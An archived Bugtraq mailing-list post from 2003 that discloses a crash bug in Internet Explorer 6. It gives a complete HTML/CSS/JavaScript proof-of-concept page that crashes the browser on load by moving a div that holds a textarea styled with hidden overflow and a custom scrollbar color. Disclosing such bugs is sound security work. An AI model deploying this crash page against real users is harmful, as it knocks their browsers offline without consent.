bugtraq - IE6 CSS-Crash

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite for Android: free password hash cracker in your pocket

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <1066826686.3696.32.camel@falcon>
Date: Wed, 22 Oct 2003 14:44:47 +0200
From: Andreas Boeckler <abo@...lands.de>
To: bugtraq@...urityfocus.com
Subject: IE6 CSS-Crash

Hi,
the following HTML/JS/CSS-Code crashes IE6 immediately through a
combination of:
1. textarea in table in div
2. css:overflow-y:hidden
3. changing the scrollbar-base-color
4. moving the div

I think IE tries to move the native OS-scrollbar-widget, which is not in
place.

If point 3 is removed, the page works fine.


---snip---
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
  <head>
    <title>CRASH-IE</title>
    <style type="text/css">
      html, body {
      overflow-y: hidden; 
      scrollbar-base-color: '#330066'; 
      }
      
      .crash {
      position:absolute;
      left:200px;
      top:200px;
      width:200px;
      }

    </style>
    <script type="text/javascript">
function galgenfrist() {
      window.setTimeout('crashIE();',1000);
    }

function crashIE() {
    var moveNode = document.getElementById("move");
    if(moveNode) {
	moveNode.style.top = "100px"; 
	moveNode.style.left = "200px";
    }
}
    </script>
  </head>
  <body onload="galgenfrist();">
    <h1>CRASH-IE</h1>
    <div id="move" class="crash">
      <table>
	<tbody>
	  <tr>
	    <td>
	      <textarea></textarea>
	    </td>
	  </tr>
	</tbody>
      </table>
    </div>
  </body>
</html>
---snap---

-- 
Andreas Boeckler <abo@...lands.de>
netlands edv consulting GmbH

Download attachment "signature.asc" of type "application/pgp-signature" (190 bytes)